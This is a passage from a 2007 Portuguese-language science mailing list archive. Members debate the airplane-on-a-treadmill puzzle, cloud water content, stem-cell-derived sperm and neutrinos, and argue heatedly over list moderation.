>14. Por que o presidente do povo nunca soube das coisas partido e do
>governo dele, MAS SABE DE TUDO SOBRE OS GOVERNOS ANTERIORES ???
>
>
>
>15. Finalmente, a pergunta mais difícil de todas: Por que tantos
>intelectuais, cientistas, professores universitários, reitores e outros
>membros da nata do país, continuam apoiando o "presidente do povo?"
>
> - Só pode ser por total falta de vergonha na cara, pois sabem de tudo
>como todo mundo sabe.
>
>
>
>
>
>
>
> Márcio Dayrell Batitucci
>
> Facilitador de Mudanças Organizacionais
>
>
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>No virus found in this incoming message.
>Checked by AVG Free Edition.
>Version: 7.5.446 / Virus Database: 269.0.0/751 - Release Date: 7/4/2007
>22:57
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>[As partes desta mensagem que não continham texto foram removidas]
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SUBJECT: Re: última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 23:34

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Pelo andar da carruagem por que passa a C-List, solicito aos amigos
Brudna e Takata a "Exclusão" dos listeiros Ferrari, Silvio Cordeiro,
José Renato e Murilo Filo, principais causadores dos desvios nos
propósitos da lista, assim como a moderação rigorosa dos listeiros
que participam desses desvios 'contra-argumentando' sobre assuntos
não-pertinentes.
> Nessa última tentativa de re-colocar a C-List em seu eixo de
nascimento coloco minhas esperanças na retidão e discernimento dos
fundadores dessa agremiação de dilatadores de idéias e posturas
científicas.

Manuel: Quem deu ensejo a toda essa balbúrdia e avacalhação foi o sr.
Takata. Lembro-me, como se fosse hoje, da mensagem em que ele afirmou
que uma hipótese, para ser científica, bastava que fosse falseável,
não importando a forma como ela foi elaborada: dedução lógica,
raciocínio indutivo, sacação, sonho, revelação, alucinação decorrente
do consumo de drogas (santo d'aime, LSD e "tutti fruti").

Abraços,
Manuel Bulcão



SUBJECT: Espermatozoides femininos?
FROM: "Eduardo Torres" <dudutorres@yahoo.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 23:35

O Globo de hoje noticia um estudo numa universidade britanica q obteve
sucesso em obter espermatozoides a partir de celulas-tronco de medula
ossea de um homem. O cientista responsavel pelo estudo quer agora
fazer o mesmo a partir da medula de uma mulher. A imprensa
sensacionalista britanica ja' especula q a tecnica permitira' no
futuro proximo q casais de lesbicas tenham filhas biologicas (filhas,
nao filhos - pelo menos alguem no jornal fez o dever de casa, pois
como celulas femininas conseguiriam 'fabricar' um cromossoma Y?). Mas,
mesmo assim, isso seria realmente possivel? Em mamiferos nao existe o
chamado 'sexual imprint', q de um modo ainda nao bem conhecido, marca
as celulas como 'femininas' e 'masculinas'? A remocao do nucleo de um
ovulo e sua substituicao por dois nucleos de espermatozoides, por
exemplo, ou a introducao do nucleo de um ovulo num outro ovulo, nao
geram embrioes viaveis, mesmo com o material genetico diploide
completo. De algum modo o ovo recem-formado 'sabe' q o material
genetico vem de individuos do mesmo sexo e nao ocorre a evolucao
embrionaria. Entendo q espermatozoides femininos em principio nao
conseguiriam fertilizar ovulos. Alguem tem mais detalhes?

Abs,
Eduardo Torres



SUBJECT: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 23:46

Gente, onde vamos parar?

Onde está o decoro socio-científico das mentes respeitáveis?

Agora, até eu, finalmente entrei na lista dos enrabáveis!

Fico muito satisfeito e invejo aqueles que possuem seus próprios feudos
científicos para reinar... só não concordo ( moderadamente ) que queiram
imperar sobre grupos mais complexos.

Como prova do meu pluralismo, tão raro por aí, proponho o seguinte:

- que todos os HARD SCIENTISTS, radicais, que finalmente mostrem aquí suas
próprias contribuições, trabalhos, teses e publicações, ou enriquecimentos
individuais à ciência, seja qual for seu ramo.

- gostaria mesmo que poder ver isso, que afinal irá justificar suas posições
tão seletivas e duras.

- caso contrário, eu vou, com outros, achar que sua intelectualidade e massa
de informação é a mais pura papagaiação das idéias e coisas de terceiros.
*Que são meros reservatórios de informações!*

- ou seja, me dêem uma carteirada científica, para que eu murche minha
orelha e tiau! Me vou, deixando-os em sua legítima e virginal pureza...
Sinceramente, Murilo Avalanchedrive. SP 13/abr07

>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou MODERAÇÃO
>RIGOROSA
>Date: Fri, 13 Apr 2007 19:58:11 -0300
>
>Amauri,
>a constituição brasileira me dá o direito de resposta, assim sendo:
>Vá à merda!
>
>[]'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>-----Mensagem Original-----
>De: "Amauri Voltaire " <amaurij@gmail.com>
>Para: <ciencialist@yahoogrupos.com.br>
>Enviada em: sexta-feira, 13 de abril de 2007 18:41
>Assunto: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou MODERAÇÃO
>RIGOROSA
>
>
>Caro, não tenho nada haver nessa discussão infantil e inútil, por isso,
>além
>do seu preconceito descabido e não compativel com seu nivel de professor
>(cuja duvida ficou bem clara agora); devo acrescentar que não contribui
>para
>a real ciência e nem haverá de contribuir para a mesma a discussão aqui
>travada. O direito de se expressar que está na constituição brasileira,
>onde
>o senhor como professor deveria conhecer, me dá o direito de dizer e
>expressar minha opinião e a aos envolvidos nessa discussão influtifera.
>
>Devo alerta-lo que cientista não é ter diploma, mas ter consciência do que
>está fazendo em pró a humanidade...
>
>sds
>AV
>
>
>
>
>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
>
>##### ##### ##### #####
>Links do Yahoo! Grupos
>
>




SUBJECT: Re: Quinze perguntas . . .
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 13/04/2007 23:56

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
<avalanchedrive@...> escreveu
>
> Sílvio,
> vc é terrível...

É não. É só um antilulista empedernido doido de pedra, como o Olavo e o
Dioguito.

Não obstante, sou seu amigo; pois, afinal, como diz o velho
deitado, "assim como são as pessoas também são as criaturas."

Amplexos,
Manuel Bulcão



SUBJECT: Uma proposta
FROM: Manuel Bulcão <manuelbulcao@uol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/04/2007 00:17

Para que a ciencialist não termine se transformando no bloco
carnavalesco dos cientistas loucos, sou pela moderação geral (de todas
as mensagens) por um determinado tempo.

Também proponho a criação de uma lista de discussão paralela, a
dos "amigos da c-list", para conversas mais descontraídas.

[]s
Manuel Bulcão



SUBJECT: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA
FROM: "Amauri Voltaire " <amaurij@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/04/2007 00:59

Muito bem senhor professor, isso se aprende em laboratório?

sds
AV

Em 13/04/07, Luiz Ferraz Netto <leobarretos@uol.com.br> escreveu:
>
> Amauri,
> a constituição brasileira me dá o direito de resposta, assim sendo:
> Vá à merda!
>
> []'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br <leobarretos%40uol.com.br>
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
> -----Mensagem Original-----
> De: "Amauri Voltaire " <amaurij@gmail.com <amaurij%40gmail.com>>
> Para: <ciencialist@yahoogrupos.com.br <ciencialist%40yahoogrupos.com.br>>
> Enviada em: sexta-feira, 13 de abril de 2007 18:41
> Assunto: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou MODERAÇÃO
> RIGOROSA
>
> Caro, não tenho nada haver nessa discussão infantil e inútil, por isso,
> além
> do seu preconceito descabido e não compativel com seu nivel de professor
> (cuja duvida ficou bem clara agora); devo acrescentar que não contribui
> para
> a real ciência e nem haverá de contribuir para a mesma a discussão aqui
> travada. O direito de se expressar que está na constituição brasileira,
> onde
> o senhor como professor deveria conhecer, me dá o direito de dizer e
> expressar minha opinião e a aos envolvidos nessa discussão influtifera.
>
> Devo alerta-lo que cientista não é ter diploma, mas ter consciência do que
> está fazendo em pró a humanidade...
>
> sds
> AV
>
>
>



--

Meu blog:
http://masterofdarkness.multiply.com/journal

É só se cadastrar nos link abaixo:

http://www.publipt.com/pages/index.php?refid=avoltaire






"Se vc não tem atitude, mantenha pelo menos a palavra!"

("Quem quer que haja construído um novo céu, só no seu próprio inferno
encontrou energia para fazê-lo!" Nietszche)

"Não importa o que fizeram a você.
O que importa é o que você faz com
aquilo que fizeram para você".

Jean-Paul Sartre (1905-1980)
Filósofo francês


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: P/ JC - Discordando, politely
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/04/2007 01:01

Olá poeta Ferrari,

Comento por partes e agradeço a oportunidade...

--- Em ciencialist@yahoogrupos.com.br, Ferrari <emailferrari@...> escreveu
>
> Olá Zé!
>
> Vou falar o portugues claro e com cecedilha desta vez.
> O que tentei lhe mostrar com minhas perguntas é que
> fica impossivel vc fazer uma tradução se desconhece as
> duas linguas que pretende relacionar.

Agradeço a boa vontade, mas aproveitando a efeméride comunico que isto
já é do conhecimento de "quase todos" aqui na C-List, razão pela qual
vez por outra alguém manda o outro fazer a lição de casa e estudar os
fundamentos da Física Básica antes de se meter a discutir mecânica
quântica, por exemplo. Fico profundamente feliz em ver que você
concorda que é difícil para um físico ou um cientista ficar tentando
advinhar o que poetas, profetas e loucos querem dizer quando divagam
sobre temas dos quais eles mesmos não fazem a mais porca idéia. Isso
também esclarece porque que em uma lista que gosta de discutir ciência
as pessoas acabam se aborrecendo quando alguém aparece munido apenas
de perguntas e frases sem nexo por puro "desconhecimento da língua".
Realmente, não é fácil levar adiante debates em que os debatedores
desconhecem o assunto debatido. :)

> É impossivel no
> caso de uma tradução de idiomas, e é impossivel também
> no caso de um tradução semantica. Ou seja, se vc fala
> unica e exclusivamente fisiques, não tem como traduzir
> "eletron" para outros idiomas como quantiques,
> filosofes e teologiques.

Concordo plenamente e vou além: é por isso mesmo que nunca entrei em
uma lista de teólogos para perguntar qual é o equivalente teológico de
"O elétron possuiu uma carga de 1,6 x 10^(-19) C, em módulo". Acho que
seria ridículo perguntar isso para padres, pastores e gente que ganha
a vida recitando versos de um único livro (bom, mas isso já é
preconceito meu). De qualquer forma, quando eu quiser discutir
teologia e não Física, procurarei uma lista de teólogos, assim como
visito listas de filosofia quando quero discutir filosofia.

Por fim, acredite-me, não tenho nenhuma vontade de aprender a "lingua
dos padres" e nenhuma necessidade de qualquer interpretação teológica
para a ciência, donde decorre que você não deve se preocupar com essa
minha ignorância: ela é fundamental e proposital. :)

> Peço sua compreenÇão cincera,
> pois de imcompreensão sincera, o mundo já está cheio e
> não necessita mais.

É claro que compreendo, ou tento, pelo menos. Que tal você me fazer um
agrado e tentar me compreender também? ;)

>
> Tem quiu, my brother
> ferrari

Abraços,
Prof. JC



SUBJECT: P/ JC - Re: Balanço do avião - Não to entendendo nada :)
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/04/2007 01:29

Olá José Renato,

Logo nas primeiras aulas de Física, para os primeiros colegiais da
escola pública onde leciono, eu ensino meus alunos que parte da
metodologia de sucesso da ciência, também chamada às vezes de
"metodologia científica", inclui "manter-se focado no problema a ser
resolvido e nos fenômenos relevantes envolvidos nele". Assim, se eu
tivesse que explicar o vôo do avião para meus alunos eu diria a eles
que a única coisa que faz um avião voar é à diferença de pressão entre
a parte de cima e de baixo das asas dele(e possivelmente de outras
partes também, dependendo do modelo aerodinâmico), que causa uma força
resultante para cima suficiente para elevá-lo.

Assim, qualquer mecanismo que seja empregado para que o avião voe deve
criar essa diferença de pressão e, no caso dos aviões que não usam
propulsão por foguetes, isso se dá devido a um certo "Princípio de
Bernoulli" e ao formato abaulado e desigual das partes superior e
inferior das asas do avião. O Princípio de Bernoulli é um princípio
pouco comentado na escola (mesmo nas particulares), embora seja
riquíssimo como fonte inspiradora para se explicar centenas de
fenômenos do nosso cotidiano que vão desde o velho caso do avião até a
razão pela qual as roupas secam mais rápido no varal em dias de vento.
Enfim, desde que passe ar pelas asas do avião com velocidade
suficiente para que seja gerada a força resultante capaz de elevá-lo,
ele voará. Pouco importa o que se passa na casa do vizinho, donde vem
que, segundo a metodologia científica, não devemos incluir os vizinhos
quando estamos pesquisando algo em nossa própria casa. :)

Só para finalizar, seja lá o que for que você faça com a esteira o
resultado será irrelevante nas condições do problema, pois a esteira
não tem nenhuma influência sobre o movimento horizontal do avião e
serve somente para lhe dar sustentação em terra, não influindo de
forma alguma na velocidade com que o vento passa pelas asas do avião.

Como você pode ver, as aulas iniciais sobre a Física e sua metodologia
de estudo da natureza são fundamentais para que meus alunos economizem
seus neurônios focando-se apenas nos aspectos relevantes dos
problemas. É claro que isso poderá limitar um pouco a criatividade
deles, mas eu acredito que essa criatividade é melhor empregada em
problemas originais e nas tentativas iniciais de abordagem do problema
do que na busca de novas soluções para problemas "clássicos" já
exaustivamente estudados e resolvidos.

Ainda não sei qual foi a "outra" solução que você achou...

Abraços,
Prof. JC


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> JC, não há porque se desculpar!
>
> Vc - e acredito que a grande maioria também - não acha a solução que eu
> achei desde a primeira vez que refleti sobre o problema aqui na
lista, há
> pelo menos dois anos.
>
> Só que eu tinha dispensado a solução que vcs vêem porque, nesta
solução em
> que ele voa, o avião se deslocava com o dobro da velocidade *em
relação à
> esteira*... Mas quando o referencial é o solo-terra tanto o avião
como a
> esteira se deslocam na mesma velocidade, em sentidos contrários.
>
> Acredito que agora vc consiga ver o esquema que eu vejo.
>
> []s
>
> José Renato
> ................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Friday, April 13, 2007 1:32 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
> :)
>
>
> Olá José Renato,
>
> Desculpe-me, mas minha ignorância só permite achar uma solução para as
> condições descritas do problema idealizado: o avião voa.
>
> Abraços,
> JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > Olá, José Carlos!
> >
> > Não gostaria de lhe estragar o prazer de achar as duas soluções
> possíveis
> > para a questão apresentada. Lembro que esse mesmo problema foi
> apresentado
> > há tempos na lista e no final ficaram todos dizendo que voa e
apenas eu
> > dizendo que não. Agora, espero que não termine do mesmo jeito. Tenho
> > colocado várias dicas para serem analisadas de modo a acompanhar meu
> > raciocínio lógico-matemático. Mas até agora parece que ninguém
> conseguiu
> > entender minhas explicações.
> >
> > Abraços
> >
> > José Renato
> > ...................................................
> >
> > From: "José Carlos Antonio" <profjc2003@>
> > To: <ciencialist@yahoogrupos.com.br>
> > Sent: Wednesday, April 11, 2007 12:12 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> > :)
> >
> >
> > Olá JR,
> >
> > Não conheço sua solução (é sua?), aliás, nem sabia que tinha outra
> > além da que o Homero comentou (é dele?).
> >
> > Abraços,
> > JC
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > >
> > > Olá, José Carlos, ainda bem que vc não entendeu no início! Mas agora
> > com a
> > > explicação de Homero vc ficou conhecendo uma das soluções
possíveis da
> > > questão. A outra solução ainda não consegui transmitir aos
> > interlocutores da
> > > lista. Pelo menos até agora ninguém disse que a entendeu.
> > Estranhamente,
> > > alguns ficaram calados depois de algumas explicações mais
> > detalhadas... É
> > > bom lembrar que as idéias não têm dono, mas têm autoria. É de boa
> ética
> > > citá-la ao transmitir em outras plagas.
> > >
> > > []s
> > >
> > > José Renato
> > > .............................................
> > >
> > > ----- Original Message -----
> > > From: "José Carlos Antonio" <profjc2003@>
> > > To: <ciencialist@yahoogrupos.com.br>
> > > Sent: Monday, April 09, 2007 6:02 AM
> > > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> > entendendo nada
> > > :)
> > >
> > >
> > > Ok, agora entendi. Nossa, que confusão vocês fizeram, não? Mas
porque
> > > o José Renato não entendeu ainda? Será que ele está pensando que a
> > > esteira está arrastando o avião para trás?
> > >
> > > Ei JR, qualquer que seja o movimento da esteira ela não afeta o do
> > > avião (probleminha idealizado, sem atrito nos rolamentos da roda, só
> > > alegria!).
> > >
> > > Abraços,
> > > JC
> > >
> > >
> > > --- Em ciencialist@yahoogrupos.com.br, "oraculo333" <oraculo@>
> escreveu
> > > >
> > > > Olá JC
> > > >
> > > > Este debate se originou de um experimento mental, uma
> "pegadinha", que
> > > > continha este enunciado:
> > > >
> > > > Um avião está sobre uma esteira rolante. Conforme o avião
acelera, e
> > > > se move para frente, a esteira, a partir de um dispositivo
> automático,
> > > > começa a rolar para tras, na mesma velocidade de deslocamento do
> > avião.
> > > >
> > > > Pergunta-se, o avião decola (ou seja, atinge a velocidade de
voo em
> > > > relação ao ar), ou não decola (ou seja, não atinge a velocidade de
> > voo).
> > > >
> > > > Depois de, inicialmente, alguns serem "enganados" pelo "red
> hering", a
> > > > esteira que rola para tras, o que os levou a afirmar que o
avião NÃO
> > > > decolava, pois não saia do lugar, todo mundo entendeu que, era
> > > > irrelevante a esteira, pois esta só aplicava força através dos
> > > > rolamentos das rodas, que são, no caso do avião, dispositivos de
> > > > ELIMINAR a ligação entre o avião e o solo.
> > > >
> > > > Ou seja, a esteira rola para tras, mas só faz acelarar o
"giro" das
> > > > rodas do avião, que continua a se mover para frente.
> > > >
> > > > Parte do engano é a forma como "vemos" as rodas, como
> dispositivos de
> > > > tração. Se colocar um carro na esteira, como ele depende da
"tração"
> > > > das rodas para se mover, o rolar da esteira impede que este ande
> para
> > > > frente.
> > > >
> > > > Mas aviões se movem com propulsão separada do solo e das rodas!
> Ele se
> > > > move pelas hélices e jatos. E estes o moverão para frente seja
sobre
> > > > rodas na esteira, seja sobre eskis no gelo, seja sobre
> flutuadores na
> > > > água.
> > > >
> > > > Mas o Renato se recusa a entender, e afirma que o avião não
decola.
> > > > Mais ainda, já bem encurralado, resolveu que "depende" do
> referencial
> > > > com que mede a velocidade do avião, se do solo, ar ou esteira. Ou
> > > > seja, se medir a velocidade do avião em relação a esteira, ele não
> > > > voa, se mudar a passar a medir a velocidade do avião em relação ao
> > > > solo, ele voa.
> > > >
> > > > É um caso fantástico, onde dependendo do referencial em que mede
> algo,
> > > > o objeto se comporta de forma diferente!..:-) Até a
relatividade do
> > > > coitado do Einstein (que já foi usado para justificar todo e
> qualquer
> > > > absurdo) ele tentou usar para sua tese.
> > > >
> > > > Parte do engano veio de uma discussão paralela com o Takata, que
> > > > defendia que, em determinadas circunstâncias, o atrito dos
> rolamentos
> > > > das rodas poderiam desacelerar o avião o suficiente para que
> este não
> > > > decolasse. Mas até o Takata concordava que, se desprezarmos o
atrito
> > > > dos rolamentos, o avião decola sempre.
> > > >
> > > > Quase todos tentaram explicar ao Renato, inclusive alguns dos
que se
> > > > enganaram no início com o "red hering" da esteira (como o próprio
> > > > Leo), mas sem sucesso algum..:-)
> > > >
> > > > Se quiser tentar também, eu já desisti..:-)
> > > >
> > > > Um abraço.
> > > >
> > > > Homero
> > > >
> > >
> > >
> > >
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SUBJECT: Re: volume de nuvem --- água contida
FROM: José Carlos Antonio <profjc2003@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/04/2007 02:14

A nuvem não contém apenas vapor de água e em seu interior há
diferenças significativas de temperatura. Uma estimativa mais realista
deveria levar em conta a temperatura média e a composição química da
atmosfera na região da nuvem. Eu não tenho saco nem tempo para fazer
isso, mas me lembro que um dos artigos mais interessantes que escrevi
foi justamente para explicar porque que as nuvens "não caem" e a razão
óbvia é que elas são menos densas que o ar circundante. Se achar
produtivo procure os dados sugeridos acima e tente nova aproximação.

Abraços,
JC



--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
<leobarretos@...> escreveu
>
> Ois todos,
> Recebi essa semana uma solicitação interessante; apenas suprimindo o
nome do consulente, transcrevo abaixo:
> +++++++++++++++++++
> Prezado Sr Professor
> Sou engenheiro aposentado, e faço pesquisas diversas, conforme
poderá ver nos sites abaixo.
> Tenho uma curiosidade, que creio ser de difícil resposta: há alguma
estimativa de qual volume de nuvens pode ser gerado por 1 metro cúbico
de água?
> Antecipadamente agradeço por uma orientação.
> xxxxxxxx xxxxxxxx xxxxxxxxxx
> Pesquisador-Colaborador
> Faculdade de Engenharia Mecânica
> xxxxxxxxxx
> +++++++++++++++++++
>
> Minha primeira opção para tal estimativa foi usar a teoria cinética
dos gases e enviei para ele a seguinte resposta:
> +++++++++++++++++++
> Olá Luis,
> podemos fazer uma estimativa assim:
> cada mol de água CNTP converte-se em 22,4 litros.
> O mol de água tem peso atômico 18g, logo, 1 kg de água comporta
55,555 moles.
> 1 m³ de água tem massa aproximada de 1000 kg, logo, comportando 55
555 moles , logo,
> 55 555 x 22,4 litros = 1 244 432 litros
> +++++++++++++++++++
> Essa avaliação, principalmente pela CNTP, que não se aplica na
formação do vapor d'água, me desanimou um tanto, mas ... como primeira
avaliação ....
> Dia seguinte recebi os seguintes dados do mesmo consulente:
> +++++++++++++++++++
> Obrigado Professor por relembrar isto.
> Qual a sua área de ensino?
> Achei em vários sites procurando por " water content of the
clouds" dados muito interessantes para mim, quais sejam o valor de
g/m3 de diversos tipos de nuvens. Existem muitos trabalhos científicos
nesta área, e os valores variam de 0,2 a 0,5 gramas de água por metro
cúbico de nuvem!
> ++++++++++++++++++
> Oba! Tendo esses dados tenho uma chance de comprovar ou não minha
estimativa; fiz e enviei os cálculos:
> ++++++++++++++++++
> Olá Sr. xxxxxx
> vamos ver se minha estimativa são compatíveis com esses dados
(supostos 'verdadeiros'):
> (a) informação: 0,2 a 0,5 g de água / 1 m³ de nuvem
> (b) nossa avaliação: 1m³ de água forma ~ 1 250 000 litros = 1 250
m³ de vapor d'água à CNTP e apresenta massa de água de 1 000 kg = 1
000 000 g. Nessas condições a densidade média do vapor será de: 1 000
000 g/ 1 250 m³ = 800 g/m³ .
>
> Todavia CNTP não é a situação da nuvem 'normal'. Se apenas
aceitarmos que na sua altura a pressão caia a 1/4 da PN, o volume
quadruplica e teríamos densidade média de 200 g/m³ .
>
> Os dados não são compatíveis, ou melhor, faltam outros dados.
Comecei uma pesquisa em:
>
> http://www.master.iag.usp.br/ensino/Sinotica/AULA07/AULA07.HTML
>
> mas não pude concluí-la ..... até outra oportunidade......
> +++++++++++++++++++++
>
> Se alguém quiser se manifestar no tema, please, fique à vontade.
>
> aquele abraço,
>
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@...
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>




SUBJECT: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA
FROM: Bruna Carolina Ribas <brunacribas@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/04/2007 14:08

Na minha humilde opinião, não deve haver moderação nenhuma pois que se houver algum tipo de censura na lista prevalecerá o protecionismo "aos amigos do moderador".
Já li muita bobagem de muita gente aqui, e talvez, eu mesma já tenha escrito algumas, então, a única necessidade urgente é por educação e respeito para com todos os participante, e gente...
por favor, deixem o Ferrari se expressar!!!!



murilo filo <avalanchedrive@hotmail.com> escreveu: Gente, onde vamos parar?

Onde está o decoro socio-científico das mentes respeitáveis?

Agora, até eu, finalmente entrei na lista dos enrabáveis!

Fico muito satisfeito e invejo aqueles que possuem seus próprios feudos
científicos para reinar... só não concordo ( moderadamente ) que queiram
imperar sobre grupos mais complexos.

Como prova do meu pluralismo, tão raro por aí, proponho o seguinte:

- que todos os HARD SCIENTISTS, radicais, que finalmente mostrem aquí suas
próprias contribuições, trabalhos, teses e publicações, ou enriquecimentos
individuais à ciência, seja qual for seu ramo.

- gostaria mesmo que poder ver isso, que afinal irá justificar suas posições
tão seletivas e duras.

- caso contrário, eu vou, com outros, achar que sua intelectualidade e massa
de informação é a mais pura papagaiação das idéias e coisas de terceiros.
*Que são meros reservatórios de informações!*

- ou seja, me dêem uma carteirada científica, para que eu murche minha
orelha e tiau! Me vou, deixando-os em sua legítima e virginal pureza...
Sinceramente, Murilo Avalanchedrive. SP 13/abr07

>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou MODERAÇÃO
>RIGOROSA
>Date: Fri, 13 Apr 2007 19:58:11 -0300
>
>Amauri,
>a constituição brasileira me dá o direito de resposta, assim sendo:
>Vá à merda!
>
>[]'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>-----Mensagem Original-----
>De: "Amauri Voltaire " <amaurij@gmail.com>
>Para: <ciencialist@yahoogrupos.com.br>
>Enviada em: sexta-feira, 13 de abril de 2007 18:41
>Assunto: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou MODERAÇÃO
>RIGOROSA
>
>
>Caro, não tenho nada haver nessa discussão infantil e inútil, por isso,
>além
>do seu preconceito descabido e não compativel com seu nivel de professor
>(cuja duvida ficou bem clara agora); devo acrescentar que não contribui
>para
>a real ciência e nem haverá de contribuir para a mesma a discussão aqui
>travada. O direito de se expressar que está na constituição brasileira,
>onde
>o senhor como professor deveria conhecer, me dá o direito de dizer e
>expressar minha opinião e a aos envolvidos nessa discussão influtifera.
>
>Devo alerta-lo que cientista não é ter diploma, mas ter consciência do que
>está fazendo em pró a humanidade...
>
>sds
>AV
>
>
>
>
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SUBJECT: Re: Espermatozoides femininos?
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/04/2007 15:20

--- Em ciencialist@yahoogrupos.com.br, "Eduardo Torres"
> Mas, mesmo assim, isso seria realmente possivel? Em mamiferos nao
> existe o chamado 'sexual imprint', q de um modo ainda nao bem
> conhecido, marca as celulas como 'femininas' e 'masculinas'?

De fato o imprinting genômico diferencial entre as gametogêneses
masculina e feminina pode dificultar a adaptação da técnica para a
produção de gametas masculinos viáveis a partir de células femininas.
Porém, dado q na gametogênese natural o imprinting é zerado (nos
homens as marcações femininas são eliminadas e nas mulheres as
marcações masculinas são eliminadas), pode ser q ou: a) nessa
gametogênese os processos naturais ocorram de modo espontâneo (na
formação de espermatozóides a partir de células femininas as marcações
femininas sejam apagadas e as masculinas acrescentadas em decorrência
mais ou menos direta); b) os processos de marcação adequadas possam
ser ativados artificialmente.

[]s,

Roberto Takata



SUBJECT: Neutrino
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
CC: <Acropolis_@yahoogrupos.com.br>
DATE: 14/04/2007 16:32

Prezado Takata:

Com a existência do Kamiokande, o laboratório no fundo de uma mina, no Japão, cujo fundo é coberto por água a mais pura possível, são pesquisados os neutrinos.

Pergunto, por favor:

Lá, os neutrinos são detectados ao vivo?

É possível capturar algum?

Qual a natureza deles?

No CERN (quando entrará em funcionamento?) um neutrino pode ser desintegrado?

obrigado,

silvio.

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] - Questão do ITA. muito boa
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/04/2007 16:56

Renato:
como não fui eu quem formulou a pergunta... mas, a grosso modo, 9 meses é um tempo-padrão....
silvio
----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Friday, April 13, 2007 10:18 AM
Subject: Re: [ciencialist] - Questão do ITA. muito boa


Silvio, é difícil acreditar que uma questão dessa tenha sido utilizada em
uma prova do ITA... Afinal, nessa gestão de fecundação-gestação não há tanta
precisão assim.
[]s
JR
.............................................

----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>; <Acropolis_@yahoogrupos.com.br>
Sent: Thursday, April 12, 2007 10:39 PM
Subject: [ciencialist] -Questão do ITA. muito boa
----------------------------------------------------------

se é bão de calculo
então, mata essa...!!!...hehehe

sem olhar a resposta!!!!!...espertão!!!!!!

Assunto: Questão do ITA.

Esta questão de matemática é muito porreta!!!

Rasgue a mente!
Essa nem o Mestre dos Magos acertaria a resposta.

A questão abaixo caiu na prova do ITA do ano passado, portanto aí
vai
um exemplo para os que almejam estudar nas melhores universidades do
país, ok?

Pura matemática

Uma mãe é 21 anos mais velha que o filho.
Daqui há seis anos a mãe terá uma idade 5 vezes maior que o filho.
Pergunta : Onde está o pai agora ?

Há que fazer alguns cálculos para obter a resposta.
Por mais incrível que pareça a resposta é dada pela matemática.
Veja a resposta abaixo... é bem interessante:

Solução:

Analisando Hoje :

A mãe tem hoje Y anos.
O menino tem hoje X anos.
Portanto com a mãe 21 anos mais velha : Y = X + 21

Daqui a 6 anos : ( Y + 6 ) e ( X + 6 )
Portanto com a mãe 5 vezes mais que filho: Y + 6 = 5 ( X + 6 )

Resolvendo:

Y + 6 = 5 X + 30
Y = 5X + 24

Dai, substituindo na primeira equação:Y = X + 21, teremos:
5X + 24 = X + 21

Logo:
- 4X = 3
X = -3/4

O menino tem hoje -3/4 anos, ou seja, - 9 meses (menos nove meses
!!).

A resposta é lógica:
